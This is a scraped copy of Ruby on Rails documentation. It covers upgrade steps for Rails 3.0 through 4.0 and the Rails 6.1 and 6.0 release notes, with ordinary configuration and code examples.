PUT requests to /users/:id in Rails 4 get routed to update as they are today. So, if you have an API that gets real PUT requests it is going to work. The router also routes PATCH requests to /users/:id to the update action.

If the action is being used in a public API and you can't change to HTTP method being used, you can update your form to use the PUT method instead:

<%= form_for [ :update_name, @user ], method: :put do |f| %>

<%= form_for [ :update_name, @user ], method: :put do |f| %> Copiar

For more on PATCH and why this change was made, see this post on the Rails blog.

9.1.1 A note about media types

The errata for the PATCH verb specifies that a 'diff' media type should be used with PATCH. One such format is JSON Patch. While Rails does not support JSON Patch natively, it's easy enough to add support:

# in your controller:
def update
respond_to do |format|
format.json do
# perform a partial update
@article.update params[:article]
end

format.json_patch do
# perform sophisticated change
end
end
end

# in your controller: def update respond_to do |format| format.json do # perform a partial update @article.update params[:article] end format.json_patch do # perform sophisticated change end end end Copiar

# config/initializers/json_patch.rb
Mime::Type.register 'application/json-patch+json', :json_patch

# config/initializers/json_patch.rb Mime::Type.register 'application/json-patch+json', :json_patch Copiar

As JSON Patch was only recently made into an RFC, there aren't a lot of great Ruby libraries yet. Aaron Patterson's hana is one such gem, but doesn't have full support for the last few changes in the specification.

9.2 Gemfile

Rails 4.0 removed the assets group from Gemfile. You'd need to remove that line from your Gemfile when upgrading. You should also update your application file (in config/application.rb):

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

# Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) Copiar

9.3 vendor/plugins

Rails 4.0 no longer supports loading plugins from vendor/plugins. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

9.4 Active Record

- Rails 4.0 has removed the identity map from Active Record, due to some inconsistencies with associations. If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: config.active_record.identity_map.

- The delete method in collection associations can now receive Integer or String arguments as record ids, besides records, pretty much like the destroy method does. Previously it raised ActiveRecord::AssociationTypeMismatch for such arguments. From Rails 4.0 on delete automatically tries to find the records matching the given ids before deleting them.

- In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.

- Rails 4.0 has changed serialized_attributes and attr_readonly to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. self.serialized_attributes to self.class.serialized_attributes.

- When using the default coder, assigning nil to a serialized attribute will save it to the database as NULL instead of passing the nil value through YAML ("--- \n...\n").

- Rails 4.0 has removed attr_accessible and attr_protected feature in favor of Strong Parameters. You can use the Protected Attributes gem for a smooth upgrade path.

- If you are not using Protected Attributes, you can remove any options related to this gem such as whitelist_attributes or mass_assignment_sanitizer options.

- Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:

scope :active, where(active: true)

# becomes
scope :active, -> { where active: true }

scope :active, where(active: true) # becomes scope :active, -> { where active: true } Copiar

- Rails 4.0 has deprecated ActiveRecord::Fixtures in favor of ActiveRecord::FixtureSet.

- Rails 4.0 has deprecated ActiveRecord::TestCase in favor of ActiveSupport::TestCase.

- Rails 4.0 has deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. For example, Book.find(:all, conditions: { name: '1984' }) has been deprecated in favor of Book.where(name: '1984')

- All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's how you can handle the changes:

- find_all_by_... becomes where(...).

- find_last_by_... becomes where(...).last.

- scoped_by_... becomes where(...).

- find_or_initialize_by_... becomes find_or_initialize_by(...).

- find_or_create_by_... becomes find_or_create_by(...).

- Note that where(...) returns a relation, not an array like the old finders. If you require an Array, use where(...).to_a.

- These equivalent methods may not execute the same SQL as the previous implementation.

- To re-enable the old finders, you can use the activerecord-deprecated_finders gem.

- Rails 4.0 has changed to default join table for has_and_belongs_to_many relations to strip the common prefix off the second table name. Any existing has_and_belongs_to_many relationship between models with a common prefix must be specified with the join_table option. For example:

CatalogCategory < ActiveRecord::Base
has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
end

CatalogProduct < ActiveRecord::Base
has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
end

CatalogCategory < ActiveRecord::Base has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products' end CatalogProduct < ActiveRecord::Base has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products' end Copiar

- Note that the prefix takes scopes into account as well, so relations between Catalog::Category and Catalog::Product or Catalog::Category and CatalogProduct need to be updated similarly.

9.5 Active Resource

Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the Active Resource gem in your Gemfile.

9.6 Active Model

- Rails 4.0 has changed how errors attach with the ActiveModel::Validations::ConfirmationValidator. Now when confirmation validations fail, the error will be attached to :#{attribute}_confirmation instead of attribute.

- Rails 4.0 has changed ActiveModel::Serializers::JSON.include_root_in_json default value to false. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the config/initializers/wrap_parameters.rb file:

# Disable root element in JSON by default.
# ActiveSupport.on_load(:active_record) do
#   self.include_root_in_json = false
# end

# Disable root element in JSON by default. # ActiveSupport.on_load(:active_record) do # self.include_root_in_json = false # end Copiar

9.7 Action Pack

- Rails 4.0 introduces ActiveSupport::KeyGenerator and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing secret_token in place and add the new secret_key_base.

# config/initializers/secret_token.rb
Myapp::Application.config.secret_token = 'existing secret token'
Myapp::Application.config.secret_key_base = 'new secret key base'

# config/initializers/secret_token.rb Myapp::Application.config.secret_token = 'existing secret token' Myapp::Application.config.secret_key_base = 'new secret key base' Copiar
Please note that you should wait to set secret_key_base until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new secret_key_base in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing secret_token in place, not set the new secret_key_base, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete. If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set secret_key_base until you have decoupled these concerns.

- Rails 4.0 encrypts the contents of cookie-based sessions if secret_key_base has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty. Please read Pull Request #9978 for details on the move to encrypted session cookies.

- Rails 4.0 removed the ActionController::Base.asset_path option. Use the assets pipeline feature.

- Rails 4.0 has deprecated ActionController::Base.page_cache_extension option. Use ActionController::Base.default_static_extension instead.

- Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the actionpack-action_caching gem in order to use caches_action and the actionpack-page_caching to use caches_page in your controllers.

- Rails 4.0 has removed the XML parameters parser. You will need to add the actionpack-xml_parser gem if you require this feature.

- Rails 4.0 changes the default layout lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.

- Rails 4.0 changes the default memcached client from memcache-client to dalli. To upgrade, simply add gem 'dalli' to your Gemfile.

- Rails 4.0 deprecates the dom_id and dom_class methods in controllers (they are fine in views). You will need to include the ActionView::RecordIdentifier module in controllers requiring this feature.

- Rails 4.0 deprecates the :confirm option for the link_to helper. You should instead rely on a data attribute (e.g. data: { confirm: 'Are you sure?' }). This deprecation also concerns the helpers based on this one (such as link_to_if or link_to_unless).

- Rails 4.0 changed how assert_generates, assert_recognizes, and assert_routing work. Now all these assertions raise Assertion instead of ActionController::RoutingError.

- Rails 4.0 raises an ArgumentError if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the resources method. Here are two examples that clash with routes named example_path:

get 'one' => 'test#example', as: :example
get 'two' => 'test#example', as: :example

get 'one' => 'test#example', as: :example get 'two' => 'test#example', as: :example Copiar

resources :examples
get 'clashing/:id' => 'test#example', as: :example

resources :examples get 'clashing/:id' => 'test#example', as: :example Copiar
In the first case, you can simply avoid using the same name for multiple routes. In the second, you can use the only or except options provided by the resources method to restrict the routes created as detailed in the Routing Guide.

- Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:

get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'

get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index' Copiar
becomes

get 'こんにちは', controller: 'welcome', action: 'index'

get 'こんにちは', controller: 'welcome', action: 'index' Copiar

- Rails 4.0 requires that routes using match must specify the request method. For example:

# Rails 3.x
match '/' => 'root#index'

# becomes
match '/' => 'root#index', via: :get

# or
get '/' => 'root#index'

# Rails 3.x match '/' => 'root#index' # becomes match '/' => 'root#index', via: :get # or get '/' => 'root#index' Copiar

- Rails 4.0 has removed ActionDispatch::BestStandardsSupport middleware, <!DOCTYPE html> already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to config.action_dispatch.default_headers. Remember you must also remove any references to the middleware from your application code, for example:

# Raise exception
config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)

# Raise exception config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport) Copiar
Also check your environment settings for config.action_dispatch.best_standards_support and remove it if present.

- Rails 4.0 allows configuration of HTTP headers by setting config.action_dispatch.default_headers. The defaults are as follows:

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block'
}

config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block' } Copiar
Please note that if your application is dependent on loading certain pages in a <frame> or <iframe>, then you may need to explicitly set X-Frame-Options to ALLOW-FROM ... or ALLOWALL.

- In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from vendor/assets and lib/assets. Rails application and engine developers should put these assets in app/assets or configure config.assets.precompile.

- In Rails 4.0, ActionController::UnknownFormat is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.

- In Rails 4.0, a generic ActionDispatch::ParamsParser::ParseError exception is raised when ParamsParser fails to parse request params. You will want to rescue this exception instead of the low-level MultiJson::DecodeError, for example.

- In Rails 4.0, SCRIPT_NAME is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set default_url_options[:script_name] to work around overwritten URL prefixes.

- Rails 4.0 deprecated ActionController::Integration in favor of ActionDispatch::Integration.

- Rails 4.0 deprecated ActionController::IntegrationTest in favor of ActionDispatch::IntegrationTest.

- Rails 4.0 deprecated ActionController::PerformanceTest in favor of ActionDispatch::PerformanceTest.

- Rails 4.0 deprecated ActionController::AbstractRequest in favor of ActionDispatch::Request.

- Rails 4.0 deprecated ActionController::Request in favor of ActionDispatch::Request.

- Rails 4.0 deprecated ActionController::AbstractResponse in favor of ActionDispatch::Response.

- Rails 4.0 deprecated ActionController::Response in favor of ActionDispatch::Response.

- Rails 4.0 deprecated ActionController::Routing in favor of ActionDispatch::Routing.

9.8 Active Support

Rails 4.0 removes the j alias for ERB::Util#json_escape since j is already used for ActionView::Helpers::JavaScriptHelper#escape_javascript.

9.8.1 Cache

The caching method changed between Rails 3.x and 4.0. You should change the cache namespace and roll out with a cold cache.

9.9 Helpers Loading Order

The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the helpers_path parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use config.railties_order= method.

9.10 Active Record Observer and Action Controller Sweeper

ActiveRecord::Observer and ActionController::Caching::Sweeper have been extracted to the rails-observers gem. You will need to add the rails-observers gem if you require these features.

9.11 sprockets-rails

- assets:precompile:primary and assets:precompile:all have been removed. Use assets:precompile instead.

- The config.assets.compress option should be changed to config.assets.js_compressor like so for instance:

config.assets.js_compressor = :uglifier

config.assets.js_compressor = :uglifier Copiar

9.12 sass-rails

- asset-url with two arguments is deprecated. For example: asset-url("rails.png", image) becomes asset-url("rails.png").

10 Upgrading from Rails 3.1 to Rails 3.2

If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.

The following changes are meant for upgrading your application to the latest 3.2.x version of Rails.

10.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '3.2.21'

group :assets do
gem 'sass-rails',   '~> 3.2.6'
gem 'coffee-rails', '~> 3.2.2'
gem 'uglifier',     '>= 1.0.3'
end

gem 'rails', '3.2.21' group :assets do gem 'sass-rails', '~> 3.2.6' gem 'coffee-rails', '~> 3.2.2' gem 'uglifier', '>= 1.0.3' end Copiar

10.2 config/environments/development.rb

There are a couple of new configuration settings that you should add to your development environment:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

# Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict # Log the query plan for queries taking more than this (works # with SQLite, MySQL, and PostgreSQL) config.active_record.auto_explain_threshold_in_seconds = 0.5 Copiar

10.3 config/environments/test.rb

The mass_assignment_sanitizer configuration setting should also be added to config/environments/test.rb:

# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict Copiar

10.4 vendor/plugins

Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

10.5 Active Record

Option :dependent => :restrict has been removed from belongs_to. If you want to prevent deleting the object if there are any associated objects, you can set :dependent => :destroy and return false after checking for existence of association from any of the associated object's destroy callbacks.

11 Upgrading from Rails 3.0 to Rails 3.1

If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.

The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.

11.1 Gemfile

Make the following changes to your Gemfile.

gem 'rails', '3.1.12'
gem 'mysql2'

# Needed for the new asset pipeline
group :assets do
gem 'sass-rails',   '~> 3.1.7'
gem 'coffee-rails', '~> 3.1.1'
gem 'uglifier',     '>= 1.0.3'
end

# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

gem 'rails', '3.1.12' gem 'mysql2' # Needed for the new asset pipeline group :assets do gem 'sass-rails', '~> 3.1.7' gem 'coffee-rails', '~> 3.1.1' gem 'uglifier', '>= 1.0.3' end # jQuery is the default JavaScript library in Rails 3.1 gem 'jquery-rails' Copiar

11.2 config/application.rb

The asset pipeline requires the following additions:

config.assets.enabled = true
config.assets.version = '1.0'

config.assets.enabled = true config.assets.version = '1.0' Copiar

If your application is using an "/assets" route for a resource you may want to change the prefix used for assets to avoid conflicts:

# Defaults to '/assets'
config.assets.prefix = '/asset-files'

# Defaults to '/assets' config.assets.prefix = '/asset-files' Copiar

11.3 config/environments/development.rb

Remove the RJS setting config.action_view.debug_rjs = true.

Add these settings if you enable the asset pipeline:

# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true

# Do not compress assets config.assets.compress = false # Expands the lines which load the assets config.assets.debug = true Copiar

11.4 config/environments/production.rb

Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( admin.js admin.css )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true

# Compress JavaScripts and CSS config.assets.compress = true # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false # Generate digests for assets URLs config.assets.digest = true # Defaults to Rails.root.join("public/assets") # config.assets.manifest = YOUR_PATH # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) # config.assets.precompile += %w( admin.js admin.css ) # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true Copiar

11.5 config/environments/test.rb

You can help test performance with these additions to your test environment:

# Configure static asset server for tests with Cache-Control for performance
config.public_file_server.enabled = true
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=3600'
}

# Configure static asset server for tests with Cache-Control for performance config.public_file_server.enabled = true config.public_file_server.headers = { 'Cache-Control' => 'public, max-age=3600' } Copiar

11.6 config/initializers/wrap_parameters.rb

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
wrap_parameters format: [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

# Be sure to restart your server when you modify this file. # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do wrap_parameters format: [:json] end # Disable root element in JSON by default. ActiveSupport.on_load(:active_record) do self.include_root_in_json = false end Copiar

11.7 config/initializers/session_store.rb

You need to change your session key to something new, or remove all sessions:

# in config/initializers/session_store.rb
AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'

# in config/initializers/session_store.rb AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW' Copiar

or

$ bin/rake db:sessions:clear

bin/rake db:sessions:clear Copiar

11.8 Remove :cache and :concat options in asset helpers references in views

- With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

Ruby on Rails 6.1 Release Notes — Ruby...

1 Upgrading to Rails 6.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 6.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Per-database Connection Switching

Rails 6.1 provides you with the ability to switch connections per-database. In 6.0 if you switched to the reading role then all database connections also switched to the reading role. Now in 6.1 if you set legacy_connection_handling to false in your configuration, Rails will allow you to switch connections for a single database by calling connected_to on the corresponding abstract class.

2.2 Horizontal Sharding

Rails 6.0 provided the ability to functionally partition (multiple partitions, different schemas) your database but wasn't able to support horizontal sharding (same schema, multiple partitions). Rails wasn't able to support horizontal sharding because models in Active Record could only have one connection per-role per-class. This is now fixed and horizontal sharding with Rails is available.

2.3 Strict Loading Associations

Strict loading associations allows you to ensure that all your associations are loaded eagerly and stop N+1's before they happen.

2.4 Delegated Types

Delegated Types is an alternative to single-table inheritance. This is helpful for representing class hierarchies allowing the superclass to be a concrete class that is represented by its own table. Each subclass has its own table for additional attributes.

2.5 Destroy Associations Async

Destroy associations async adds the ability for applications to destroy associations in a background job. This can help you avoid timeouts and other performance issues in your application when destroying data.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Remove deprecated rake notes tasks.

- Remove deprecated connection option in the rails dbconsole command.

- Remove deprecated SOURCE_ANNOTATION_DIRECTORIES environment variable support from rails notes.

- Remove deprecated server argument from the rails server command.

- Remove deprecated support for using the HOST environment variable to specify the server IP.

- Remove deprecated rake dev:cache tasks.

- Remove deprecated rake routes tasks.

- Remove deprecated rake initializers tasks.

3.2 Deprecations

3.3 Notable changes

4 Action Cable

Please refer to the Changelog for detailed changes.

4.1 Removals

4.2 Deprecations

4.3 Notable changes

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

- Remove deprecated ActionDispatch::Http::ParameterFilter.

- Remove deprecated force_ssl at the controller level.

5.2 Deprecations

- Deprecate config.action_dispatch.return_only_media_type_on_content_type.

5.3 Notable changes

- Change ActionDispatch::Response#content_type to return the full Content-Type header.

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Removals

- Remove deprecated escape_whitelist from ActionView::Template::Handlers::ERB.

- Remove deprecated find_all_anywhere from ActionView::Resolver.

- Remove deprecated formats from ActionView::Template::HTML.

- Remove deprecated formats from ActionView::Template::RawFile.

- Remove deprecated formats from ActionView::Template::Text.

- Remove deprecated find_file from ActionView::PathSet.

- Remove deprecated rendered_format from ActionView::LookupContext.

- Remove deprecated find_file from ActionView::ViewPaths.

- Remove deprecated support to pass an object that is not a ActionView::LookupContext as the first argument in ActionView::Base#initialize.

- Remove deprecated format argument ActionView::Base#initialize.

- Remove deprecated ActionView::Template#refresh.

- Remove deprecated ActionView::Template#original_encoding.

- Remove deprecated ActionView::Template#variants.

- Remove deprecated ActionView::Template#formats.

- Remove deprecated ActionView::Template#virtual_path=.

- Remove deprecated ActionView::Template#updated_at.

- Remove deprecated updated_at argument required on ActionView::Template#initialize.

- Remove deprecated ActionView::Template.finalize_compiled_template_methods.

- Remove deprecated config.action_view.finalize_compiled_template_methods

- Remove deprecated support to calling ActionView::ViewPaths#with_fallback with a block.

- Remove deprecated support to passing absolute paths to render template:.

- Remove deprecated support to passing relative paths to render file:.

- Remove support to template handlers that don't accept two arguments.

- Remove deprecated pattern argument in ActionView::Template::PathResolver.

- Remove deprecated support to call private methods from object in some view helpers.

6.2 Deprecations

6.3 Notable changes

- Require that ActionView::Base subclasses implement #compiled_method_container.

- Make locals argument required on ActionView::Template#initialize.

- The javascript_include_tag and stylesheet_link_tag asset helpers generate a Link header that gives hints to modern browsers about preloading assets. This can be disabled by setting config.action_view.preload_links_header to false.

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Removals

- Remove deprecated ActionMailer::Base.receive in favor of Action Mailbox.

7.2 Deprecations

7.3 Notable changes

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

- Remove deprecated methods from ActiveRecord::ConnectionAdapters::DatabaseLimits. column_name_length table_name_length columns_per_table indexes_per_table columns_per_multicolumn_index sql_query_length joins_per_query

- Remove deprecated ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_multi_insert?.

- Remove deprecated ActiveRecord::ConnectionAdapters::AbstractAdapter#supports_foreign_keys_in_create?.

- Remove deprecated ActiveRecord::ConnectionAdapters::PostgreSQLAdapter#supports_ranges?.

- Remove deprecated ActiveRecord::Base#update_attributes and ActiveRecord::Base#update_attributes!.

- Remove deprecated migrations_path argument in ActiveRecord::ConnectionAdapter::SchemaStatements#assume_migrated_upto_version.

- Remove deprecated config.active_record.sqlite3.represent_boolean_as_integer.

- Remove deprecated methods from ActiveRecord::DatabaseConfigurations. fetch each first values []=

- Remove deprecated ActiveRecord::Result#to_hash method.

- Remove deprecated support for using unsafe raw SQL in ActiveRecord::Relation methods.

8.2 Deprecations

- Deprecate ActiveRecord::Base.allow_unsafe_raw_sql.

- Deprecate database kwarg on connected_to.

- Deprecate connection_handlers when legacy_connection_handling is set to false.

8.3 Notable changes

- MySQL: Uniqueness validator now respects default database collation, no longer enforce case sensitive comparison by default.

- relation.create does no longer leak scope to class level querying methods in initialization block and callbacks. Before:

User.where(name: "John").create do |john|
User.find_by(name: "David") # => nil
end

User.where(name: "John").create do |john| User.find_by(name: "David") # => nil end Copiar
After:

User.where(name: "John").create do |john|
User.find_by(name: "David") # => #<User name: "David", ...>
end

User.where(name: "John").create do |john| User.find_by(name: "David") # => #<User name: "David", ...> end Copiar

- Named scope chain does no longer leak scope to class level querying methods.

class User < ActiveRecord::Base
scope :david, -> { User.where(name: "David") }
end

class User < ActiveRecord::Base scope :david, -> { User.where(name: "David") } end Copiar
Before:

User.where(name: "John").david
# SELECT * FROM users WHERE name = 'John' AND name = 'David'

User.where(name: "John").david # SELECT * FROM users WHERE name = 'John' AND name = 'David' Copiar
After:

User.where(name: "John").david
# SELECT * FROM users WHERE name = 'David'

User.where(name: "John").david # SELECT * FROM users WHERE name = 'David' Copiar

- where.not now generates NAND predicates instead of NOR. Before:

User.where.not(name: "Jon", role: "admin")
# SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'

User.where.not(name: "Jon", role: "admin") # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin' Copiar
After:

User.where.not(name: "Jon", role: "admin")
# SELECT * FROM users WHERE NOT (name == 'Jon' AND role == 'admin')

User.where.not(name: "Jon", role: "admin") # SELECT * FROM users WHERE NOT (name == 'Jon' AND role == 'admin') Copiar

- To use the new per-database connection handling applications must change legacy_connection_handling to false and remove deprecated accessors on connection_handlers. Public methods for connects_to and connected_to require no changes.

9 Active Storage

Please refer to the Changelog for detailed changes.

9.1 Removals

- Remove deprecated support to pass :combine_options operations to ActiveStorage::Transformers::ImageProcessing.

- Remove deprecated ActiveStorage::Transformers::MiniMagickTransformer.

- Remove deprecated config.active_storage.queue.

- Remove deprecated ActiveStorage::Downloading.

9.2 Deprecations

- Deprecate Blob.create_after_upload in favor of Blob.create_and_upload. (Pull Request)

9.3 Notable changes

- Add Blob.create_and_upload to create a new blob and upload the given io to the service. (Pull Request)

- ActiveStorage::Blob#service_name column was added. It is required that a migration is run after the upgrade. Run bin/rails app:update to generate that migration.

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

10.2 Deprecations

10.3 Notable changes

- Active Model's errors are now objects with an interface that allows your application to more easily handle and interact with errors thrown by models. The feature includes a query interface, enables more precise testing, and access to error details.

11 Active Support

Please refer to the Changelog for detailed changes.

11.1 Removals

- Remove deprecated fallback to I18n.default_local when config.i18n.fallbacks is empty.

- Remove deprecated LoggerSilence constant.

- Remove deprecated ActiveSupport::LoggerThreadSafeLevel#after_initialize.

- Remove deprecated Module#parent_name, Module#parent and Module#parents.

- Remove deprecated file active_support/core_ext/module/reachable.

- Remove deprecated file active_support/core_ext/numeric/inquiry.

- Remove deprecated file active_support/core_ext/array/prepend_and_append.

- Remove deprecated file active_support/core_ext/hash/compact.

- Remove deprecated file active_support/core_ext/hash/transform_values.

- Remove deprecated file active_support/core_ext/range/include_range.

- Remove deprecated ActiveSupport::Multibyte::Chars#consumes? and ActiveSupport::Multibyte::Chars#normalize.

- Remove deprecated ActiveSupport::Multibyte::Unicode.pack_graphemes, ActiveSupport::Multibyte::Unicode.unpack_graphemes, ActiveSupport::Multibyte::Unicode.normalize, ActiveSupport::Multibyte::Unicode.downcase, ActiveSupport::Multibyte::Unicode.upcase and ActiveSupport::Multibyte::Unicode.swapcase.

- Remove deprecated ActiveSupport::Notifications::Instrumenter#end=.

11.2 Deprecations

- Deprecate ActiveSupport::Multibyte::Unicode.default_normalization_form.

11.3 Notable changes

12 Active Job

Please refer to the Changelog for detailed changes.

12.1 Removals

12.2 Deprecations

- Deprecate config.active_job.return_false_on_aborted_enqueue.

12.3 Notable changes

- Return false when enqueuing a job is aborted.

13 Action Text

Please refer to the Changelog for detailed changes.

13.1 Removals

13.2 Deprecations

13.3 Notable changes

- Add method to confirm rich text content existence by adding ? after name of the rich text attribute. (Pull Request)

- Add fill_in_rich_text_area system test case helper to find a trix editor and fill it with given HTML content. (Pull Request)

- Add ActionText::FixtureSet.attachment to generate <action-text-attachment> elements in database fixtures. (Pull Request)

14 Action Mailbox

Please refer to the Changelog for detailed changes.

14.1 Removals

14.2 Deprecations

14.3 Notable changes

15 Ruby on Rails Guides

Please refer to the Changelog for detailed changes.

15.1 Notable changes

16 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 6.0 Release Notes — Ruby...

1 Upgrading to Rails 6.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 5.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 6.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Action Mailbox

Pull Request

Action Mailbox allows you to route incoming emails to controller-like mailboxes. You can read more about Action Mailbox in the Action Mailbox Basics guide.

2.2 Action Text

Pull Request

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

You can read more about Action Text in the Action Text Overview guide.

2.3 Parallel Testing

Pull Request

Parallel Testing allows you to parallelize your test suite. While forking processes is the default method, threading is supported as well. Running tests in parallel reduces the time it takes your entire test suite to run.

2.4 Action Cable Testing

Pull Request

Action Cable testing tools allow you to test your Action Cable functionality at any level: connections, channels, broadcasts.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Remove deprecated after_bundle helper inside plugins templates. (Commit)

- Remove deprecated support to config.ru that uses the application class as argument of run. (Commit)

- Remove deprecated environment argument from the rails commands. (Commit)

- Remove deprecated capify! method in generators and templates. (Commit)

- Remove deprecated config.secret_token. (Commit)

3.2 Deprecations

- Deprecate passing Rack server name as a regular argument to rails server. (Pull Request)

- Deprecate support for using HOST environment to specify server IP. (Pull Request)

- Deprecate accessing hashes returned by config_for by non-symbol keys. (Pull Request)

3.3 Notable changes

- Add an explicit option --using or -u for specifying the server for the rails server command. (Pull Request)

- Add ability to see the output of rails routes in expanded format. (Pull Request)

- Run the seed database task using inline Active Job adapter. (Pull Request)

- Add a command rails db:system:change to change the database of the application. (Pull Request)

- Add rails test:channels command to test only Action Cable channels. (Pull Request)

